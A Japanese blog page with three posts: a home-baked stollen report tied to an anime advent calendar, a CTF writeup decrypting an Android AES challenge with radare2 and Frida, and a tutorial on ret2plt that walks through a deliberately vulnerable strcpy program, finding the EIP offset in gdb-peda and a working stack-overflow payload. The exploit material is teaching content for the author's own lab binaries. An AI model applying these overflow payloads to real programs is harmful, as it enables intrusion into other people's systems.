シュトーレンを作ってみたよ

ごちうさadventcalender14日目の記事です。

adventar.org

f:id:kataware8136:20171214234317j:plain

このシーンを見て思ったこと「なにそれ私も作りたい」

ということでシュトーレンを作ってみたよ!!

シュトーレン

ドイツの菓子パンでクリスマスを待つ4週間のアドヴェント待降節)の間、少しずつスライスして食べる習慣があるそうです。

シュトーレンづくり

レシピはここを使いました。

f:id:kataware8136:20171214234937j:plain

ローマジパンを作って砂糖を加えて

f:id:kataware8136:20171214235008j:plain

どんどん混ぜていきます

f:id:kataware8136:20171214235034j:plain

そしてドライフルーツも入れて発酵~

f:id:kataware8136:20171214235102j:plain

焼き上がり!!

f:id:kataware8136:20171214235212j:plain

スライスしたのがこんな感じ!

感想

ちなみに発酵時間とか焼き時間含めて5時間くらいかかりました。みなさん作るときは参考にしてください

そして味はいいんだけど思ったより膨らまなかった...

f:id:kataware8136:20171214235318j:plain

モカお姉ちゃんも失敗を繰り返してうまくなったので私も頑張る

蛇足

シュトーレンってローマジパンっていうマジパンを中に入れるんですよ。

3巻のココアちゃんのセリフ

f:id:kataware8136:20171214235957j:plain

6巻最後のココアちゃん

f:id:kataware8136:20171215000026j:plain

これは1年で成長した証なのでは!!!!

Android Hacking Event 2017 AES-Decrypt Writeup

はじめに

Android問に強くなる全然更新してないなと思ったので久々にやります。ちなみに途中までは自力しましたがわかんなくなったのでWriteupは見てます。

AES-Decrypt

とりあえずapkファイルがあるので実行してみる

+NvwsZ48j3vyDlaMu6LrjnNn8/OAnexGL

T9WoXhrsQHgY3NLr8SwBbw==

という文字列がある、試しにDecryptボタンを押すと

Key=AF03BC291F82という文字列が現れる

まぁ本題は2個目を復号したのが答えだろうと予想する。なのでとりあえず中身を見てみる

javaの解析

MainActivity.java

package challenge.teamsik.aesdecryption;

import android.content.Context;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.*;

public class MainActivity extends AppCompatActivity
{

    public MainActivity()
    {
    }

    public native String decryptAES(Context context);

    protected void onCreate(Bundle bundle)
    {
        super.onCreate(bundle);
        setContentView(0x7f04001b);
        mContext = this;
        ((Button)findViewById(0x7f0b005e)).setOnClickListener(new android.view.View.OnClickListener() {

            public void onClick(View view)
            {
                view = decryptAES(MainActivity.mContext);
                ((TextView)findViewById(0x7f0b0061)).setText(view);
                Toast.makeText(MainActivity.mContext, "Decryption Successfull!", 1).show();
            }

            final MainActivity this$0;

            
            {
                this$0 = MainActivity.this;
                super();
            }
        });
    }

    public static final String TAG = "CHALLENGE";
    public static Context mContext;

    static 
    {
        System.loadLibrary("native-lib");
    }
}

ソースコードを見て察した。これNDK問題だなと....

libnativeにdecryptAESという関数がありそこでdecryptしている。

libnativeの解析

radare2を使う

$ r2 lib/armeabi-v7a/libnative-lib.so 
 -- Set color to your screen with 'e scr.color=true'
[0x0000347c]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[ ] 
[Value from 0x00000000 to 0x00011144
aav: 0x00000000-0x00011144 in 0x0-0x11144
aav: 0x00000000-0x00011144 in 0x123d0-0x1300c
aav: 0x00000000-0x00011144 in 0x1300c-0x17f35
Value from 0x0001300c to 0x00017f35
aav: 0x0001300c-0x00017f35 in 0x0-0x11144
aav: 0x0001300c-0x00017f35 in 0x123d0-0x1300c
aav: 0x0001300c-0x00017f35 in 0x1300c-0x17f35
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x0000347c]> afl
....
0x00003518   10 1068         sym.Java_challenge_teamsik_aesdecryption_MainActivity_decryptAES
....

やはりdecryptAES関数を発見。中身を見てみる

[0x0000347c]> s sym.Java_challenge_teamsik_aesdecryption_MainActivity_decryptAES
[0x00003518]> pdf
...
0x00003906      00f0a7f8       bl sub.EVP_CIPHER_CTX_new_a58
...

とりあえずなんか怪しいのが見つかる。CIPHERとかあるししかもEVPだしOpensslのやつっぽい。

と思って調べたらOpenSSL EVP 関数を見つけた。予想は当たっていたようだ。

後は文字列調べるかなと思って調べた結果がこちら

[0x00003518]> iz
vaddr=0x0000f788 paddr=0x0000f788 ordinal=000 sz=10 len=9 section=.rodata type=ascii string=CHALLENGE
vaddr=0x0000f792 paddr=0x0000f792 ordinal=001 sz=6 len=5 section=.rodata type=ascii string=0x%2x
vaddr=0x0000f798 paddr=0x0000f798 ordinal=002 sz=18 len=17 section=.rodata type=ascii string=Invalid key used!
vaddr=0x0000f7aa paddr=0x0000f7aa ordinal=003 sz=21 len=20 section=.rodata type=ascii string=Initalizing OpenSSL:
vaddr=0x0000f7bf paddr=0x0000f7bf ordinal=004 sz=45 len=44 section=.rodata type=ascii string=0fk8j09RWT8+bKFQ0BdwRVjM+PuM5GeauUORaOtuP5A=
vaddr=0x0000f7ec paddr=0x0000f7ec ordinal=005 sz=65 len=64 section=.rodata type=ascii string=0fk8j09RWT8+bKFQ0BdwRTwVQHvav+HIQH3zWg0UtCw8RCtgr772N3KAfKdWMKZN
vaddr=0x0000f82d paddr=0x0000f82d ordinal=006 sz=45 len=44 section=.rodata type=ascii string=0fk8j09RWT8+bKFQ0BdwRWYaE95rIj008XoTqeq1YJU=
vaddr=0x0000f85a paddr=0x0000f85a ordinal=007 sz=45 len=44 section=.rodata type=ascii string=0fk8j09RWT8+bKFQ0BdwRVw0J6O9tU1N3bUR4SpMgIE=
vaddr=0x0000f887 paddr=0x0000f887 ordinal=008 sz=45 len=44 section=.rodata type=ascii string=pJolsMEG1ZjA39Z0RdSfbtgf/6QqiXXgLDYZWMRIpno=
vaddr=0x0000f8b4 paddr=0x0000f8b4 ordinal=009 sz=65 len=64 section=.rodata type=ascii string=5XN3JZ0qQnZOlVT+FvZutMspEknw0l2ylINvmahr58xEQL4+3GEWnF/ojZ8OwwdZ
vaddr=0x0000f8f5 paddr=0x0000f8f5 ordinal=010 sz=65 len=64 section=.rodata type=ascii string=5XN3JZ0qQnZOlVT+FvZutEVENxTKdhobEn9okV2h5Bj8PXPBkbRrEEDjxknjA16H
vaddr=0x0000f936 paddr=0x0000f936 ordinal=011 sz=65 len=64 section=.rodata type=ascii string=u9o2dJItY/yt633wMhsDP2BaKb9kHJm/HZtwOe4L1ADV+U+aiHgpGhZ7EEaEcHq9
vaddr=0x0000f977 paddr=0x0000f977 ordinal=012 sz=45 len=44 section=.rodata type=ascii string=ZrnY4AKdp5ByAoHREWtYv+NamtJA/p0Swvc6D6u7qx0=
vaddr=0x0000f9a4 paddr=0x0000f9a4 ordinal=013 sz=45 len=44 section=.rodata type=ascii string=P2m808wtZdzcP9ouyfWvjoGLm2jZi0D4uK5YnjsP+B4=
vaddr=0x0000f9d1 paddr=0x0000f9d1 ordinal=014 sz=65 len=64 section=.rodata type=ascii string=5jW+2fK2AEWXkb5wmwjbau9My2QuA9MhMDQP06c9e+pCDbCx7kdtJ6ZJQSkeJdWk
vaddr=0x0000fa12 paddr=0x0000fa12 ordinal=015 sz=25 len=24 section=.rodata type=ascii string=YqXS6chhZJr0JwhXiBTwSA==
vaddr=0x0000fa2b paddr=0x0000fa2b ordinal=016 sz=45 len=44 section=.rodata type=ascii string=l23Klp6+80bbLX8Aor0Aitb5I2paF+dxz8UpAQylJKI=
vaddr=0x0000fa58 paddr=0x0000fa58 ordinal=017 sz=25 len=24 section=.rodata type=ascii string=HUO0GJiv0BJHQu49yAOsvg==
vaddr=0x0000fa71 paddr=0x0000fa71 ordinal=018 sz=89 len=88 section=.rodata type=ascii string=me/LE9SHGipWIAdMwewSpNxMcbHu7koanAld8nvXh4Nkf7Mn9o/GPj6dCB95B00SaEw4OTn6MBdjKnFBmMEmQw==
vaddr=0x0000faca paddr=0x0000faca ordinal=019 sz=25 len=24 section=.rodata type=ascii string=9H7sv0baQSW+dJcuy1kTcg==
vaddr=0x0000fae3 paddr=0x0000fae3 ordinal=020 sz=45 len=44 section=.rodata type=ascii string=djcVuQzrYzzvIBzv6qwU78XoK9b9Axx6rzOipkBNI9M=
vaddr=0x0000fb10 paddr=0x0000fb10 ordinal=021 sz=25 len=24 section=.rodata type=ascii string=Tc6oeVRcAP5Ed1yKFb1y4Q==
vaddr=0x0000fb29 paddr=0x0000fb29 ordinal=022 sz=25 len=24 section=.rodata type=ascii string=k70Em+XsW/0rwt6FiPz5cw==
vaddr=0x0000fb42 paddr=0x0000fb42 ordinal=023 sz=25 len=24 section=.rodata type=ascii string=1mwCw3AgNVhGG+gPBXu7gQ==
vaddr=0x0000fb5b paddr=0x0000fb5b ordinal=024 sz=25 len=24 section=.rodata type=ascii string=j3PbP1T7rSkj3zq+hkGqLA==
vaddr=0x0000fb74 paddr=0x0000fb74 ordinal=025 sz=25 len=24 section=.rodata type=ascii string=FwB0AaNtkiZqymRhe2dV/g==
vaddr=0x0000fb8d paddr=0x0000fb8d ordinal=026 sz=89 len=88 section=.rodata type=ascii string=me/LE9SHGipWIAdMwewSpOgpB/hPmqJ505Coc0q+diYVOvgpUNs3r6VIZHETDSh3zKheQnLGhBEuPlgw/wRtxA==
vaddr=0x0000fbe6 paddr=0x0000fbe6 ordinal=027 sz=25 len=24 section=.rodata type=ascii string=26Ai/jguFtNz4eK3Rfcuxg==
vaddr=0x0000fbff paddr=0x0000fbff ordinal=028 sz=45 len=44 section=.rodata type=ascii string=1ZIXfbbppzkz4tclxQA3BtcRorc3mMLTivhI3S9tjUM=
vaddr=0x0000fc2c paddr=0x0000fc2c ordinal=029 sz=89 len=88 section=.rodata type=ascii string=+jrIt+CNy/la9PHTLuZUjvkays5GIPScMVpJpyV+nul+WkiY6pmTRD0v/pCtowvxt6mEAwXZXU4Zr9dx90s3Kw==
vaddr=0x0000fc85 paddr=0x0000fc85 ordinal=030 sz=25 len=24 section=.rodata type=ascii string=jHDAGbW9MO5AA/jXIj4VRA==
vaddr=0x0000fc9e paddr=0x0000fc9e ordinal=031 sz=45 len=44 section=.rodata type=ascii string=udv/kxBBdbg3PItkFW6Kms/ko9FHaJzGIagOHSAJsC0=
vaddr=0x0000fccb paddr=0x0000fccb ordinal=032 sz=25 len=24 section=.rodata type=ascii string=pV1HOig44OVVCUGk57OhuQ==
vaddr=0x0000fce4 paddr=0x0000fce4 ordinal=033 sz=45 len=44 section=.rodata type=ascii string=7fIEIbf6NxVvrVFmlEAdYLUSriDuoGdtLbvZWBjJ3LI=
vaddr=0x0000fd11 paddr=0x0000fd11 ordinal=034 sz=22 len=21 section=.rodata type=ascii string=You used a wrong key!
vaddr=0x0000fd28 paddr=0x0000fd28 ordinal=035 sz=45 len=44 section=.rodata type=ascii string=+NvwsZ48j3vyDIaMu6LrjnNn8/OAnexGUXn3POeavI8=
vaddr=0x0000fd5d paddr=0x0000fd5d ordinal=036 sz=5 len=4 section=.rodata type=ascii string=gI'f

base64が多いのが怪しいけどこれだけではわからない。アセンブラを読めばいいのだが諦めてWriteupを見た

動的解析

Fridaというものを使う。Fridaの使い方は多分別の日に記事にするよ。

AESの256の鍵の長さは32バイト、ivの長さは16バイトであることから動的解析を行いメモリ内の32バイトの値と16バイトの値を取る

そのコードはwriteup先と一緒なので割愛、keyとivが2組出てくるのでそれでデコードを行う。最後のsolverは書いたのでそれだけ載せます

solver

from Crypto.Cipher import AES
import hashlib
import base64

def get_decrypt_data(cipher_data_base64):
    cipher_data = base64.b64decode(cipher_data_base64)
    secret_key = base64.b64decode("AMKyAMuv7U4Us1KTVjb2AGV8QGy7jynAoU+77LatjlQ=")
    iv = base64.b64decode("mT92BqeIHGdJJ2YGjenYqg==")
    crypto = AES.new(secret_key, AES.MODE_CBC, iv)
    raw_data_base64_16byte = crypto.decrypt(cipher_data)
    #raw_data_base64 = raw_data_base64_16byte.split("_")[0]
    #raw_data = base64.b64decode(raw_data_base64)
    return raw_data_base64_16byte

print get_decrypt_data("T9WoXhrsQHgY3NLr8SwBbw==")

AHE17{Frida!}

おわり

なかなか学びを得た問題。Fridaってものをしれたのはでかい

ret2plt(弊研究室の某課題について考える11日目)

はじめに

これは弊研究室の某課題について考える11日目の記事です

pwnableの攻撃編の始まりです。今までに説明してきた脆弱性を基にどうやって攻撃するのかというのを紹介していく編になります

ret2plt

ret2plt(return to plt)とは脆弱性をついてEIPを奪ったとき(任意のアドレスに書き換えられる)にそのEIPのアドレスをpltのアドレスを指すことにより関数を実行させる手法である。

PLT(Procedure Linkage Table)とGOT(Global Offset Table)

ではpltとはなんだという話である。一緒にgotの話もする。2日目の記事でメモリ配置の図を示したがさらに詳細を見ていくとこうなっている

f:id:kataware8136:20171213170839p:plain

C言語ではソースコードに記述しなくても使える関数がありますよね。printfとかfopenとかね。これらはlibcと呼ばれるライブラリにありそれをコンパイル時にリンクしているため使用できます。それでlibcにある外部関数のアドレスを動的に求める機構がPLTとGOTになります。

さてこのアドレス解決機構を説明していきます。libcの関数であるprintfが呼び出された場合を考えます。

#include<stdio.h>

int main(){
 int a=1;
 int b=2;
 int c=a+b;
 printf("%d\n",c);
 return 0;
}

ここでmainのアセンブラを見てみます

$ objdump -d -M intel ./a.out

000000000000064a <main>:
 64a:   55                      push   rbp
 64b:   48 89 e5                mov    rbp,rsp
 64e:   48 83 ec 10             sub    rsp,0x10
 652:   c7 45 f4 01 00 00 00    mov    DWORD PTR [rbp-0xc],0x1
 659:   c7 45 f8 02 00 00 00    mov    DWORD PTR [rbp-0x8],0x2
 660:   8b 55 f4                mov    edx,DWORD PTR [rbp-0xc]
 663:   8b 45 f8                mov    eax,DWORD PTR [rbp-0x8]
 666:   01 d0                   add    eax,edx
 668:   89 45 fc                mov    DWORD PTR [rbp-0x4],eax
 66b:   8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]
 66e:   89 c6                   mov    esi,eax
 670:   48 8d 3d 9d 00 00 00    lea    rdi,[rip+0x9d]        # 714 <_IO_stdin_used+0x4>
 677:   b8 00 00 00 00          mov    eax,0x0
 67c:   e8 af fe ff ff          call   530 <printf@plt>
 681:   b8 00 00 00 00          mov    eax,0x0
 686:   c9                      leave
 687:   c3                      ret
 688:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
 68f:   00

printfを呼び出す部分で<printf@plt>となっています。ここでpltセグメントのprintfを呼び出しています。pltセクションには実行ファイルで使われる関数がエントリされています。

$ objdump -d -M intel -j .plt ./a.out

Disassembly of section .plt:

0000000000000520 <.plt>:
 520:   ff 35 e2 0a 20 00       push   QWORD PTR [rip+0x200ae2]        # 201008 <_GLOBAL_OFFSET_TABLE_+0x8>
 526:   ff 25 e4 0a 20 00       jmp    QWORD PTR [rip+0x200ae4]        # 201010 <_GLOBAL_OFFSET_TABLE_+0x10>
 52c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000000530 <printf@plt>:
 530:   ff 25 e2 0a 20 00       jmp    QWORD PTR [rip+0x200ae2]        # 201018 <printf@GLIBC_2.2.5>
 536:   68 00 00 00 00          push   0x0
 53b:   e9 e0 ff ff ff          jmp    520 <.plt>

call 530となっているように530printf@pltが登録されておりそれを呼んでいます。でアセンブラを追うとjmp 201010へ飛んでいます。ここのripは.got.pltにアドレスを指しており、.got.plt内のprintf二割与えられているアドレスにジャンプします。

.got.pltセグメントで共有ライブラリlibcのprintf関数を呼び出します。

ret2pltをやってみる

ではret2pltを実際にやってみる。EIPを奪えていれば実行可能であるので今回用意する脆弱性はスタックバッファオーバーフローとする。

サンプルプログラム

#include<stdio.h>
#include<string.h>

int main(int argc, char *argv[]){
        setbuf(stdin,NULL);
        setbuf(stdout,NULL);
        char buf[100] = {};
        char str[140];
        printf("Hi, I'm TsugumiYagi!\n");
        printf("Please tell me your name: ");

        fgets(str,140,stdin);
        strcpy(buf,str);
        printf("Hi ");
        puts(buf);
        return 0;
}

strcpyのところに脆弱性があります。ここに100文字以上をいれると壊れますね。

5$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ set disassembly-flavor intel
gdb-peda$ pattern_create 120
''AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAA'
gdb-peda$ r
Starting program: /home/tsugumiyagi/Documents/pwn/pwn5/a.out
Hi, I'm TsugumiYagi!
Please tell me your name: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiA                                     A8AANAA
Hi AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANA

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41684141 ('AAhA')
ECX: 0xb7fc2b07 --> 0xfc38980a
EDX: 0xb7fc3898 --> 0x0
ESI: 0x0
EDI: 0x41413741 ('A7AA')
EBP: 0x6941414d ('MAAi')
ESP: 0xbffff680 --> 0x414e41 ('ANA')
EIP: 0x41384141 ('AA8A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41384141
[------------------------------------stack-------------------------------------]
0000| 0xbffff680 --> 0x414e41 ('ANA')
0004| 0xbffff684 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0008| 0xbffff688 --> 0xbffff71c --> 0xbffff85f ("XDG_SESSION_ID=6")
0012| 0xbffff68c --> 0xb7fece3a (<call_init+26>:        add    ebx,0x121c6)
0016| 0xbffff690 --> 0x1
0020| 0xbffff694 --> 0xbffff714 --> 0xbffff834 ("/home/tsugumiyagi/Documents/pwn/pwn5/a.out")
0024| 0xbffff698 --> 0xbffff6b4 --> 0xbd2c1514
0028| 0xbffff69c --> 0x804a024 --> 0xb7e2ea00 (<__libc_start_main>:     push   ebp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41384141 in ?? ()
gdb-peda$ A
Ambiguous command "A": .
gdb-peda$ patto AA8A
AA8A found at offset: 112
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804852d <+0>:     push   ebp

pattern_createで適当に文字列を作成し、patto 文字列でその文字列のオフセットを調べられます。 EIPに入っているのがAA8Aなのでpatto AA8Aで調べられます。すると112文字適当に入力した後の文字がEIPになることがわかります。ということでmain関数のアドレスでも突っ込みましょう。

tsugumiyagi@yuzu:~/Documents/pwn/pwn5$ echo -e 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x2d\x85\x04\x08' | ./a.out
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-�

Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-�

Segmentation fault (コアダンプ)

EIPがmainに変わったのでmain関数が2回実行されています。ではこれを踏まえてpltの呼び出しです。

$ objdump -d -M intel -j .plt ./a.out
セクション .plt の逆アセンブル:

080483b0 <setbuf@plt-0x10>:
 80483b0:   ff 35 04 a0 04 08       push   DWORD PTR ds:0x804a004
 80483b6:   ff 25 08 a0 04 08       jmp    DWORD PTR ds:0x804a008
 80483bc:   00 00                   add    BYTE PTR [eax],al
    ...

080483c0 <setbuf@plt>:
 80483c0:   ff 25 0c a0 04 08       jmp    DWORD PTR ds:0x804a00c
 80483c6:   68 00 00 00 00          push   0x0
 80483cb:   e9 e0 ff ff ff          jmp    80483b0 <_init+0x30>

080483d0 <printf@plt>:
 80483d0:   ff 25 10 a0 04 08       jmp    DWORD PTR ds:0x804a010
 80483d6:   68 08 00 00 00          push   0x8
 80483db:   e9 d0 ff ff ff          jmp    80483b0 <_init+0x30>

080483e0 <fgets@plt>:
 80483e0:   ff 25 14 a0 04 08       jmp    DWORD PTR ds:0x804a014
 80483e6:   68 10 00 00 00          push   0x10
 80483eb:   e9 c0 ff ff ff          jmp    80483b0 <_init+0x30>

080483f0 <strcpy@plt>:
 80483f0:   ff 25 18 a0 04 08       jmp    DWORD PTR ds:0x804a018
 80483f6:   68 18 00 00 00          push   0x18
 80483fb:   e9 b0 ff ff ff          jmp    80483b0 <_init+0x30>

08048400 <puts@plt>:
 8048400:   ff 25 1c a0 04 08       jmp    DWORD PTR ds:0x804a01c
 8048406:   68 20 00 00 00          push   0x20
 804840b:   e9 a0 ff ff ff          jmp    80483b0 <_init+0x30>

08048410 <__gmon_start__@plt>:
 8048410:   ff 25 20 a0 04 08       jmp    DWORD PTR ds:0x804a020
 8048416:   68 28 00 00 00          push   0x28
 804841b:   e9 90 ff ff ff          jmp    80483b0 <_init+0x30>

08048420 <__libc_start_main@plt>:
 8048420:   ff 25 24 a0 04 08       jmp    DWORD PTR ds:0x804a024
 8048426:   68 30 00 00 00          push   0x30
 804842b:   e9 80 ff ff ff          jmp    80483b0 <_init+0x30>

ここではputs関数を呼び出すことにします。さてもう一度関数の実行される時の図を見ましょう

f:id:kataware8136:20171202212912p:plain

puts関数の引数はスタックに積めばよさそうですね。リターンアドレスは詰んであげなきゃいけないので適当に載せましょう。ただここで積むのはアドレスです。のでいい感じのアドレスをここで入手しておきます。

$ gdb -q ./a.out
Reading symbols from ./a.out...(no debugging symbols found)...done.
gdb-peda$ disas main
Dump of assembler code for function main:
   0x0804852d <+0>:   push   ebp
   0x0804852e <+1>:   mov    ebp,esp
   0x08048530 <+3>:   push   edi
   0x08048531 <+4>:   push   ebx
   0x08048532 <+5>:   and    esp,0xfffffff0
   0x08048535 <+8>:   sub    esp,0xf0
   0x0804853b <+14>:  mov    eax,ds:0x804a040
   0x08048540 <+19>:  mov    DWORD PTR [esp+0x4],0x0
   0x08048548 <+27>:  mov    DWORD PTR [esp],eax
   0x0804854b <+30>:  call   0x80483c0 <setbuf@plt>
   0x08048550 <+35>:  mov    eax,ds:0x804a060
   0x08048555 <+40>:  mov    DWORD PTR [esp+0x4],0x0
   0x0804855d <+48>:  mov    DWORD PTR [esp],eax
   0x08048560 <+51>:  call   0x80483c0 <setbuf@plt>
   0x08048565 <+56>:  lea    ebx,[esp+0x8c]
   0x0804856c <+63>:  mov    eax,0x0
   0x08048571 <+68>:  mov    edx,0x19
   0x08048576 <+73>:  mov    edi,ebx
   0x08048578 <+75>:  mov    ecx,edx
   0x0804857a <+77>:  rep stos DWORD PTR es:[edi],eax
   0x0804857c <+79>:  mov    DWORD PTR [esp],0x8048680
   0x08048583 <+86>:  call   0x8048400 <puts@plt>
   0x08048588 <+91>:  mov    DWORD PTR [esp],0x8048695
   0x0804858f <+98>:  call   0x80483d0 <printf@plt>
   0x08048594 <+103>: mov    eax,ds:0x804a040
   0x08048599 <+108>: mov    DWORD PTR [esp+0x8],eax
   0x0804859d <+112>: mov    DWORD PTR [esp+0x4],0x78
   0x080485a5 <+120>: lea    eax,[esp+0x14]
   0x080485a9 <+124>: mov    DWORD PTR [esp],eax
   0x080485ac <+127>: call   0x80483e0 <fgets@plt>
   0x080485b1 <+132>: lea    eax,[esp+0x14]
   0x080485b5 <+136>: mov    DWORD PTR [esp+0x4],eax
   0x080485b9 <+140>: lea    eax,[esp+0x8c]
   0x080485c0 <+147>: mov    DWORD PTR [esp],eax
   0x080485c3 <+150>: call   0x80483f0 <strcpy@plt>
   0x080485c8 <+155>: mov    DWORD PTR [esp],0x80486b0
   0x080485cf <+162>: call   0x80483d0 <printf@plt>
   0x080485d4 <+167>: lea    eax,[esp+0x8c]
   0x080485db <+174>: mov    DWORD PTR [esp],eax
   0x080485de <+177>: call   0x8048400 <puts@plt>
   0x080485e3 <+182>: mov    eax,0x0
   0x080485e8 <+187>: lea    esp,[ebp-0x8]
   0x080485eb <+190>: pop    ebx
   0x080485ec <+191>: pop    edi
   0x080485ed <+192>: pop    ebp
   0x080485ee <+193>: ret    
End of assembler dump.
gdb-peda$ x/s 0x8048680
0x8048680:  "Hi, I'm TsugumiYagi!"

いい感じのアドレスを見つけたのでいけそうです。さてexploitです。

$ python -c 'print "A"*112+"\xd0\x83\x04\x08" + "BBBB" + "\x80\x86\x04\x08"' | ./a.out
Hi, I'm TsugumiYagi!
Please tell me your name: Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAЃBBBB��

Hi, I'm TsugumiYagi!Segmentation fault (コアダンプ)

はい望みどおりの出力が得られましたね。この時のスタックフレームですが下のようになっています。

f:id:kataware8136:20171213195127p:plain

これをprintfを基準に考えると下のように見ることができます。なので実行できるようになるわけですね。

f:id:kataware8136:20171213195436p:plain

おわりに

書いてて量がやばかったのでret2libcはまた明日。